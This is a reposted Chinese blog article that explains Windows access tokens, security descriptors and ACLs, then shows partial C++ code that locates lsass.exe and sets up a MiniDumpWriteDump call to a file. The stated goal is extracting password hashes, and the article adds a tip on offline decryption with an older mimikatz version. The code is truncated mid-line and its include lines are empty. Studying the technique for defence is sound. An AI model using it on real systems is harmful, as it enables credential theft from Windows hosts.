0

0

从转储lsass学习Windows安全

星夢妙者

星夢妙者

发布时间:2025-06-23 08:02:31

|

798人浏览过

|

来源于php中文网

原创

0x1 前置理论

访问令牌(Access Token)是描述进程或线程安全上下文的对象。它包含与进程或线程关联的用户账户的身份和权限信息。

访问令牌分为两种类型:授权令牌(Delegation Token)和模拟令牌(Impersonation Token)。

访问令牌包含以下信息:

  • 用户账户的安全标识符(SID)
  • 用户所属组的 SID
  • 标识当前登录会话的登录 SID
  • 用户或用户组拥有的权限列表
  • 所有者 SID
  • 主要组的 SID
  • 用户在未指定安全描述符的情况下创建安全对象时系统使用的默认 DACL
  • 访问令牌的来源
  • 令牌是主要令牌还是模拟令牌
  • 可选的限制 SID 列表
  • 当前模拟级别
  • 其他统计信息

授权令牌(Delegation Token)用于交互式会话登录(如本地用户登录、远程桌面等)。

模拟令牌(Impersonation Token)用于非交互式登录(如 net user、远程共享访问)。

当用户登录计算机后,会生成一个访问令牌。该令牌在用户创建进程或线程时会被复制一份,用于描述与该进程相关联的用户账户的安全上下文。默认情况下,当进程的线程与安全对象交互时,系统使用授权令牌。此外,线程可以模拟客户账户。模拟允许线程使用客户端的安全上下文与安全对象进行交互。模拟客户端的线程同时具有授权令牌和模拟令牌。当用户注销后,系统会将授权令牌转换为模拟令牌,并在重启系统后清除。

安全对象是可以拥有安全描述符的对象,所有命名的 Windows 对象都是安全对象。一些未命名的对象,例如进程和线程对象也可以拥有安全描述符。对于大多数的安全对象来说,我们可以在创建对象的函数调用中指定对象的安全描述符。

从转储lsass学习Windows安全

安全描述符包含与安全对象关联的安全信息。安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。安全描述符可以包括以下安全信息:

  • 对象所有者和主要组的安全标识符(SID)
  • 指定允许或拒绝特定用户或组的访问权限的 DACL
  • 指定为对象生成审计记录的访问尝试类型的 SACL
  • 一组控制位,用以限定安全描述符或其各个成员的含义

访问控制列表(Access Control Lists,ACL)是访问控制条目(ACE)的列表。ACL 中每个 ACE 都标示一个受托者,并为该受托者指定访问权限。安全对象的安全描述符可以包含两种类型的 ACL:DACL 和 SACL。

自由访问控制列表(DACL)标示允许或者拒绝访问安全对象的受托人。当进程试图访问安全对象时,系统会检查对象的 DACL 中的 ACE,以确定是否授予对它的访问权限。如果对象没有 DACL,系统会授予每个人 Full Access 权限。如果对象的 DACL 没有 ACE,系统将拒绝所有访问该对象的尝试,因为 DACL 中没有可以通过匹配的 ACE 条目。系统按顺序检查 ACE,直到它找到一个或多个允许所有请求的访问权限的 ACE,或者直到任何一个请求的访问权限被拒绝。

系统访问控制列表(SACL)使管理员能够记录访问受保护对象的尝试。每个 ACE 指定特定受托者进行的访问尝试的类型,这些访问尝试会导致系统在安全事件日志中生成记录。SACL 中的 ACE 可以在访问尝试失败和/或成功时生成审计记录。

受托人是应用访问控制条目(ACE)的用户账户、组账户或者登录会话。访问控制列表(ACL)中的每个 ACE 都有一个标示受托人的安全描述符(SID)。

AI智研社
AI智研社

AI智研社是一个专注于人工智能领域的综合性平台

下载

根据前置知识,我们可以了解用户登录系统后创建进程、线程,程序访问安全对象时的权限情况。

当用户登录计算机,凭证验证通过后便会拿到一份访问令牌(Access Token)。该 Token 在我们创建进程或线程时会被使用,复制 explorer.exe 中的该用户的访问令牌到新的进程/线程中用以权限分配。

当程序访问安全对象时,安全对象会检测自身的 DACL。若 DACL 不存在,则对所有程序开放访问权限;若 DACL 存在,会按顺序查找 DACL 内的 ACL 与程序的访问令牌比较判断,判断其是否具有访问权限。

从转储lsass学习Windows安全

MiniDumpWriteDump 函数:

BOOL MiniDumpWriteDump(  
    [in] HANDLE                            hProcess,  
    [in] DWORD                             ProcessId,  
    [in] HANDLE                            hFile,  
    [in] MINIDUMP_TYPE                     DumpType,  
    [in] PMINIDUMP_EXCEPTION_INFORMATION   ExceptionParam,  
    [in] PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,  
    [in] PMINIDUMP_CALLBACK_INFORMATION    CallbackParam);

函数结构如上所示,可利用此函数将进程转储。本文将 Lsass.exe 转储用以提取 Hash。

0x2 实现代码:

#include
#include
#include
#include
#include
#pragma comment(lib,"DbgHelp.lib")

int main() {
    HANDLE LsassHandle = NULL;
    HANDLE OutFile = CreateFile(L"LSASS.DMP",GENERIC_WRITE|GENERIC_READ,0,NULL,CREATE_ALWAYS,NULL,NULL);
    DWORD PID;
    HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 Entry;
    Entry.dwSize = sizeof(PROCESSENTRY32);
    LPWSTR ProcessName;

    //查找lsass进程pid
    if (Process32First(Snapshot, &Entry)) {
        ProcessName = Entry.szExeFile;
        PID = Entry.th32ProcessID;
        while (_wcsicmp(L"lsass.exe",ProcessName)!=0) {
            Process32Next(Snapshot, &Entry);
            ProcessName = Entry.szExeFile;
            PID = Entry.th32ProcessID;
        }
        std::cout 

效果展示,另外,若在解密文件时出现ERROR kuhl_m_sekurlsa_acquireLSA ; Key import,可尝试低版本 mimikatz 离线解密。如 2.1.1 版本。

从转储lsass学习Windows安全从转储lsass学习Windows安全

0x3 参考文章

https://www.php.cn/link/9ac99aa820030753f4101f35de5ce163

https://www.php.cn/link/fe4fdc4feb7d048580b56008e6ba7bee

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
scripterror怎么解决
scripterror怎么解决

scripterror的解决办法有检查语法、文件路径、检查网络连接、浏览器兼容性、使用try-catch语句、使用开发者工具进行调试、更新浏览器和JavaScript库或寻求专业帮助等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

228

2023.10.18

500error怎么解决
500error怎么解决

500error的解决办法有检查服务器日志、检查代码、检查服务器配置、更新软件版本、重新启动服务、调试代码和寻求帮助等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

297

2023.10.25

登录token无效
登录token无效

登录token无效解决方法:1、检查token的有效期限,如果token已经过期,需要重新获取一个新的token;2、检查token的签名,如果签名不正确,需要重新获取一个新的token;3、检查密钥的正确性,如果密钥不正确,需要重新获取一个新的token;4、使用HTTPS协议传输token,建议使用HTTPS协议进行传输 ;5、使用双因素认证,双因素认证可以提高账户的安全性。

6197

2023.09.14

登录token无效怎么办
登录token无效怎么办

登录token无效的解决办法有检查Token是否过期、检查Token是否正确、检查Token是否被篡改、检查Token是否与用户匹配、清除缓存或Cookie、检查网络连接和服务器状态、重新登录或请求新的Token、联系技术支持或开发人员等。本专题为大家提供token相关的文章、下载、课程内容,供大家免费下载体验。

820

2023.09.14

token怎么获取
token怎么获取

获取token值的方法:1、小程序调用“wx.login()”获取 临时登录凭证code,并回传到开发者服务器;2、开发者服务器以code换取,用户唯一标识openid和会话密钥“session_key”。想了解更详细的内容,可以阅读本专题下面的文章。

1071

2023.12.21

token什么意思
token什么意思

token是一种用于表示用户权限、记录交易信息、支付虚拟货币的数字货币。可以用来在特定的网络上进行交易,用来购买或出售特定的虚拟货币,也可以用来支付特定的服务费用。想了解更多token什么意思的相关内容可以访问本专题下面的文章。

1361

2024.03.01

mysql标识符无效错误怎么解决
mysql标识符无效错误怎么解决

mysql标识符无效错误的解决办法:1、检查标识符是否被其他表或数据库使用;2、检查标识符是否包含特殊字符;3、使用引号包裹标识符;4、使用反引号包裹标识符;5、检查MySQL的配置文件等等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

183

2023.12.04

Python标识符有哪些
Python标识符有哪些

Python标识符有变量标识符、函数标识符、类标识符、模块标识符、下划线开头的标识符、双下划线开头、双下划线结尾的标识符、整型标识符、浮点型标识符等等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

288

2024.02.23

C++ 设计模式与软件架构
C++ 设计模式与软件架构

本专题深入讲解 C++ 中的常见设计模式与架构优化,包括单例模式、工厂模式、观察者模式、策略模式、命令模式等,结合实际案例展示如何在 C++ 项目中应用这些模式提升代码可维护性与扩展性。通过案例分析,帮助开发者掌握 如何运用设计模式构建高质量的软件架构,提升系统的灵活性与可扩展性。

14

2026.01.30

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 5.1万人学习

JavaScript
JavaScript

共185课时 | 21.6万人学习

【web前端】Node.js快速入门
【web前端】Node.js快速入门

共16课时 | 2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号